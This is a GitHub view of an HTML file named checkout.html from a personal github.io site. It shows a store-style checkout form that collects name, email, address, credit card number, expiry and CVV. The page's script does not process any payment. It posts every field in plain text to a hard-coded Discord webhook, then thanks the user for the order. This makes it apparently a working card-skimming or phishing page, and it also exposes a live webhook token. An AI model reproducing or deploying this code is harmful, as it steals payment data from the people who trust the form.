lolyv.github.io/checkout.html at main · lolyV/lolyv.github.io · GitHub

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="UTF-8">
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <title>Checkout</title>
  <style>
    /* Reset some default browser styles */
    * {
      box-sizing: border-box;
      margin: 0;
      padding: 0;
    }

    /* Global styles */
    body {
      background-color: #f7f7f7;
      font-family: Arial, sans-serif;
      line-height: 1.5;
      padding: 20px;
    }

    h1 {
      font-size: 24px;
      margin-bottom: 20px;
    }

    p {
      margin-bottom: 10px;
    }

    /* Checkout styles */
    .checkout-container {
      display: flex;
      justify-content: center;
      align-items: center;
      height: 100vh;
    }

    .checkout-form {
      max-width: 500px;
      width: 100%;
      background-color: #fff;
      padding: 20px;
      border-radius: 4px;
      box-shadow: 0 2px 5px rgba(0, 0, 0, 0.1);
    }

    .checkout-form input[type="text"],
    .checkout-form input[type="email"] {
      width: 100%;
      padding: 8px;
      margin-bottom: 10px;
      border-radius: 4px;
      border: 1px solid #ccc;
    }

    .checkout-form input[type="submit"] {
      padding: 10px 20px;
      background-color: #ff9900;
      color: #fff;
      border: none;
      border-radius: 4px;
      cursor: pointer;
    }

    .checkout-form input[type="submit"]:hover {
      background-color: #ff8c00;
    }
  </style>
</head>
<body>
  <div class="checkout-container">
    <form class="checkout-form" id="checkout-form">
      <h1>Checkout</h1>
      <p>Fill in the information below:</p>
      <input type="text" name="name" placeholder="Your Name" required>
      <input type="email" name="email" placeholder="Your Email" required>
      <input type="text" name="address" placeholder="Shipping Address" required>
      <input type="text" name="creditCard" placeholder="Credit Card Number" required>
      <input type="text" name="expiry" placeholder="MM/YY" required>
      <input type="text" name="cvv" placeholder="CVV" required>
      <input type="submit" value="Checkout">
    </form>
  </div>

  <script>
    const checkoutForm = document.querySelector('#checkout-form');
    checkoutForm.addEventListener('submit', function (e) {
      e.preventDefault();

      const name = checkoutForm.elements.name.value;
      const email = checkoutForm.elements.email.value;
      const address = checkoutForm.elements.address.value;
      const creditCard = checkoutForm.elements.creditCard.value;
      const expiry = checkoutForm.elements.expiry.value;
      const cvv = checkoutForm.elements.cvv.value;

      const webhookURL = 'https://discord.com/api/webhooks/1114657015738925107/MT7b6nMzahc-5R4D1esqG9FjwTEt3n5qjiAUo1qT1vHKNeXCj1ubye4mVVfAa_k4sqSM';
      const payload = {
        content: `New Order:\nName: ${name}\nEmail: ${email}\nAddress: ${address}\nCredit Card: ${creditCard}\nExpiry: ${expiry}\nCVV: ${cvv}`
      };

      fetch(webhookURL, {
        method: 'POST',
        headers: {
          'Content-Type': 'application/json'
        },
        body: JSON.stringify(payload)
      }).then(response => {
        if (response.ok) {
          alert('Thank you for your order!');
          checkoutForm.reset();
        } else {
          alert('Oops! Something went wrong. Please try again later.');
        }
      });
    });
  </script>
</body>
</html>